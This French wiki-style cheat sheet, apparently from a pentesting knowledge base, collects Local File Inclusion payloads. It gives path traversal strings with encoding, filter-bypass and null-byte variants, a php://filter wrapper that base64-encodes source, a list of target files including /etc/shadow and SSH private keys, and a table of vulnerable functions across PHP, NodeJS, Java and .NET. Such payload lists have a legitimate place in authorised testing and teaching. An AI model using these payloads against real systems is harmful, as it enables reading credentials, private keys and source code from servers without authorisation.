Aller au contenu

LFI Payloads

Payloads et techniques pour exploiter une vulnérabilité de Local File Inclusion : path traversal classique, wrappers PHP (php://filter, php://input, data://, phar://), log poisoning, contournement de filtres et nullbyte. Pour le contexte théorique, voir LFI - Local File Inclusion.

Techniques de base:

=/etc/passwd

=../../../../../../etc/passwd

=....//....//....//....//....//....//....//etc/passwd

=....////....////....////....////....////etc/passwd

=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd (url encode)

=/gallery/../../../../../../../etc/passwd (en cas d'obligation de la présence d'un chemin approuvé dans l'url)

=../../../../etc/passwd%00 (null byte)


PHP filters:

php://filter/read=convert.base64-encode/resource=../../../etc/passwd

Fichiers intéressants à lire :

/etc/passwd
/proc/$PID/cmdline (générer une wordlist avec des chiffres de 1 à 1000)
/etc/shadow
/home/$user/.ssh/id_rsa
/var/www/html/fichierdeconfig.php
/var/www/html/LesDifférentesPages // permet de voir le code source éventuellement)

Function Read Content Execute Remote URL
PHP
include()/include_once() ✅ ✅ ✅
require()/require_once() ✅ ✅ ❌
file_get_contents() ✅ ❌ ✅
fopen()/file() ✅ ❌ ❌
NodeJS
fs.readFile() ✅ ❌ ❌
fs.sendFile() ✅ ❌ ❌
res.render() ✅ ✅ ❌
Java
include ✅ ❌ ❌
import ✅ ✅ ✅
.NET
@Html.Partial() ✅ ❌ ❌
@Html.RemotePartial() ✅ ❌ ✅
Response.WriteFile() ✅ ❌ ❌
include ✅ ✅ ✅